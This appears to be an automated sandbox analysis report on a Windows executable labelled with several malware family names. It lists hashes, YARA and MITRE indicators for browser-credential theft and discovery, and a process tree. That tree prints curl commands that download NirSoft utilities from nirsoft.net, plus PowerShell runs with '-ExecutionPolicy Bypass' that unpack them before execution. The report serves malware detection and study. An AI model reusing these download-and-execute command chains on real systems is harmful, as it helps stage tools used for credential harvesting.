debf8d12b485bb8872dd40ad424e0f23ca254c56f5aa335d9a20bf618f9c8969

Analysis

max time kernel
150s
max time network
128s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/07/2026, 04:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe
Size 1.1MB
Sample260703-e5d9yabv4s
SHA256 debf8d12b485bb8872dd40ad424e0f23ca254c56f5aa335d9a20bf618f9c8969
MD5 0c273b22168a2610fc95af914b33c8cd
SHA1 cacf9c538b34779431ea54764d89f96489feed79
SHA512 cd197cc20a2078226876cde0ea5fb091cc1f1c933d50bf5626fd51c39319d8b02032fdffc66364a58abac6739eb82bdd4b105013c7c0b67f7f49121dd1f418c2
SSDEEP 12288:4DtRRdC4rGDHNEkkvaXs3HOD/5y2V7/WmGdctZpFiDjeats8MwWPAcI45s/Mu:XHNTkCXm2VqmGdcjp7d8MwWvI45m
TLSH
T104451901A6E402A8E1B7D774DE7B5845E777B94A0730E9DF0294955F0F339888A3EB32
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

discovery execution spyware stealer upx

Malware Config

Signatures

Detected Nirsoft tools 15 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/files/0x000e00000001c67e-56.dat	Nirsoft
behavioral2/memory/6428-61-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/3836-65-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/6220-70-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/3408-121-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/7068-128-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/4288-136-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/6532-144-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/2532-153-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/6776-163-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/6016-173-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/5848-184-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/1768-195-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/4852-208-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/6876-217-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs

resource	yara_rule
behavioral2/files/0x000e00000001c68d-118.dat	INDICATOR_SUSPICIOUS_Binary_References_Browsers

UPX dump on OEP (original entry point) 16 IoCs

resource	yara_rule
behavioral2/files/0x001000000001c5d3-32.dat	UPX
behavioral2/memory/6428-47-0x0000000000400000-0x0000000000417000-memory.dmp	UPX
behavioral2/memory/6428-61-0x0000000000400000-0x0000000000417000-memory.dmp	UPX
behavioral2/memory/3836-65-0x0000000000400000-0x0000000000417000-memory.dmp	UPX
behavioral2/memory/6220-70-0x0000000000400000-0x0000000000417000-memory.dmp	UPX
behavioral2/memory/3408-121-0x0000000000400000-0x0000000000417000-memory.dmp	UPX
behavioral2/memory/7068-128-0x0000000000400000-0x0000000000417000-memory.dmp	UPX
behavioral2/memory/4288-136-0x0000000000400000-0x0000000000417000-memory.dmp	UPX
behavioral2/memory/6532-144-0x0000000000400000-0x0000000000417000-memory.dmp	UPX
behavioral2/memory/2532-153-0x0000000000400000-0x0000000000417000-memory.dmp	UPX
behavioral2/memory/6776-163-0x0000000000400000-0x0000000000417000-memory.dmp	UPX
behavioral2/memory/6016-173-0x0000000000400000-0x0000000000417000-memory.dmp	UPX
behavioral2/memory/5848-184-0x0000000000400000-0x0000000000417000-memory.dmp	UPX
behavioral2/memory/1768-195-0x0000000000400000-0x0000000000417000-memory.dmp	UPX
behavioral2/memory/4852-208-0x0000000000400000-0x0000000000417000-memory.dmp	UPX
behavioral2/memory/6876-217-0x0000000000400000-0x0000000000417000-memory.dmp	UPX

Executes dropped EXE 38 IoCs

pid	Process
6428	RecentFilesView.exe
7084	ExecutedProgramsList.exe
3836	RecentFilesView.exe
3856	ExecutedProgramsList.exe
6220	RecentFilesView.exe
1868	ExecutedProgramsList.exe
3408	RecentFilesView.exe
6896	ExecutedProgramsList.exe
7068	RecentFilesView.exe
6504	ExecutedProgramsList.exe
1948	BrowserDownloadsView.exe
4288	RecentFilesView.exe
4572	ExecutedProgramsList.exe
4812	BrowserDownloadsView.exe
6532	RecentFilesView.exe
3164	ExecutedProgramsList.exe
3160	BrowserDownloadsView.exe
2532	RecentFilesView.exe
2600	ExecutedProgramsList.exe
2812	BrowserDownloadsView.exe
6776	RecentFilesView.exe
5584	BrowserDownloadsView.exe
5656	ExecutedProgramsList.exe
6016	RecentFilesView.exe
6036	ExecutedProgramsList.exe
1432	BrowserDownloadsView.exe
5848	RecentFilesView.exe
1176	ExecutedProgramsList.exe
2584	BrowserDownloadsView.exe
1768	RecentFilesView.exe
5704	ExecutedProgramsList.exe
7096	BrowserDownloadsView.exe
4852	RecentFilesView.exe
4876	ExecutedProgramsList.exe
3200	BrowserDownloadsView.exe
6876	RecentFilesView.exe
3056	ExecutedProgramsList.exe
716	BrowserDownloadsView.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

UPX packed file 16 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x001000000001c5d3-32.dat	upx
behavioral2/memory/6428-47-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/6428-61-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/3836-65-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/6220-70-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/3408-121-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/7068-128-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/4288-136-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/6532-144-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/2532-153-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/6776-163-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/6016-173-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/5848-184-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/1768-195-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/4852-208-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/6876-217-0x0000000000400000-0x0000000000417000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4412	powershell.exe
3432	powershell.exe
6556	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 38 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe

Modifies registry class 29 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	RecentFilesView.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4412	powershell.exe
4412	powershell.exe
3432	powershell.exe
3432	powershell.exe
6556	powershell.exe
6556	powershell.exe
6556	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 11 IoCs

pid	Process
7084	ExecutedProgramsList.exe
3856	ExecutedProgramsList.exe
6896	ExecutedProgramsList.exe
1948	BrowserDownloadsView.exe
4812	BrowserDownloadsView.exe
2812	BrowserDownloadsView.exe
5656	ExecutedProgramsList.exe
1432	BrowserDownloadsView.exe
7096	BrowserDownloadsView.exe
3200	BrowserDownloadsView.exe
716	BrowserDownloadsView.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4412	powershell.exe
Token: SeDebugPrivilege	3432	powershell.exe
Token: SeDebugPrivilege	6556	powershell.exe

Suspicious use of WriteProcessMemory 47 IoCs

description	pid	Process	procid_target
PID 6388 wrote to memory of 5856	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	91
PID 6388 wrote to memory of 5920	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	92
PID 6388 wrote to memory of 6000	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	93
PID 6388 wrote to memory of 6496	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	97
PID 6388 wrote to memory of 4412	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	99
PID 6388 wrote to memory of 5008	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	101
PID 6388 wrote to memory of 3432	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	103
PID 6388 wrote to memory of 6428	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	105
PID 6388 wrote to memory of 7084	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	106
PID 6388 wrote to memory of 3836	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	107
PID 6388 wrote to memory of 3856	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	108
PID 6388 wrote to memory of 6220	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	109
PID 6388 wrote to memory of 1868	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	110
PID 6388 wrote to memory of 3408	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	111
PID 6388 wrote to memory of 6896	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	112
PID 6388 wrote to memory of 1308	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	114
PID 6388 wrote to memory of 6556	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	116
PID 6388 wrote to memory of 7068	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	118
PID 6388 wrote to memory of 6504	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	119
PID 6388 wrote to memory of 1948	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	120
PID 6388 wrote to memory of 4288	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	121
PID 6388 wrote to memory of 4572	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	122
PID 6388 wrote to memory of 4812	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	123
PID 6388 wrote to memory of 6532	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	124
PID 6388 wrote to memory of 3164	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	125
PID 6388 wrote to memory of 3160	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	126
PID 6388 wrote to memory of 2532	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	127
PID 6388 wrote to memory of 2600	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	128
PID 6388 wrote to memory of 2812	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	129
PID 6388 wrote to memory of 6776	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	130
PID 6388 wrote to memory of 5584	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	131
PID 6388 wrote to memory of 5656	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	132
PID 6388 wrote to memory of 6016	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	133
PID 6388 wrote to memory of 6036	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	134
PID 6388 wrote to memory of 1432	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	135
PID 6388 wrote to memory of 5848	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	136
PID 6388 wrote to memory of 1176	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	137
PID 6388 wrote to memory of 2584	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	138
PID 6388 wrote to memory of 1768	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	139
PID 6388 wrote to memory of 5704	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	140
PID 6388 wrote to memory of 7096	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	141
PID 6388 wrote to memory of 4852	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	142
PID 6388 wrote to memory of 4876	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	143
PID 6388 wrote to memory of 3200	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	144
PID 6388 wrote to memory of 6876	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	145
PID 6388 wrote to memory of 3056	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	146
PID 6388 wrote to memory of 716	6388	2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe	147

C:\Users\Admin\AppData\Local\Temp\2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-03_0c273b22168a2610fc95af914b33c8cd_cobalt-strike_icedid_njrat_satacom_stealc.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:6388
- C:\Windows\system32\curl.exe
  C:\Windows\system32\curl.exe -L --fail --silent --show-error --ssl-no-revoke --tcp-nodelay -C - --retry 1 --retry-delay 1 --retry-connrefused --speed-limit 14336 --speed-time 3 --connect-timeout 5 --max-time 300 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,application/octet-stream,*/*;q=0.8" -H "Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.7,en;q=0.6" -H "Accept-Encoding: identity" -o C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview.zip.part https://www.nirsoft.net/utils/recentfilesview.zip
  2⤵
  PID:5856
- C:\Windows\system32\curl.exe
  C:\Windows\system32\curl.exe -L --fail --silent --show-error --ssl-no-revoke --tcp-nodelay -C - --retry 1 --retry-delay 1 --retry-connrefused --speed-limit 14336 --speed-time 3 --connect-timeout 5 --max-time 300 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,application/octet-stream,*/*;q=0.8" -H "Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.7,en;q=0.6" -H "Accept-Encoding: identity" -o C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist.zip.part https://www.nirsoft.net/utils/executedprogramslist.zip
  2⤵
  PID:5920
- C:\Windows\system32\curl.exe
  C:\Windows\system32\curl.exe -L --fail --silent --show-error --ssl-no-revoke --tcp-nodelay -C - --retry 1 --retry-delay 1 --retry-connrefused --speed-limit 14336 --speed-time 3 --connect-timeout 5 --max-time 300 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,application/octet-stream,*/*;q=0.8" -H "Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.7,en;q=0.6" -H "Accept-Encoding: identity" -o C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview.zip.part https://www.nirsoft.net/utils/browserdownloadsview.zip
  2⤵
  PID:6000
- C:\Windows\system32\tar.exe
  C:\Windows\system32\tar.exe -xf C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview.zip -C C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview
  2⤵
  PID:6496
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "try { Expand-Archive -LiteralPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview.zip' -DestinationPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview' -Force -ErrorAction Stop; exit 0 } catch { exit 1 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4412
- C:\Windows\system32\tar.exe
  C:\Windows\system32\tar.exe -xf C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist.zip -C C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist
  2⤵
  PID:5008
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "try { Expand-Archive -LiteralPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist.zip' -DestinationPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist' -Force -ErrorAction Stop; exit 0 } catch { exit 1 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3432
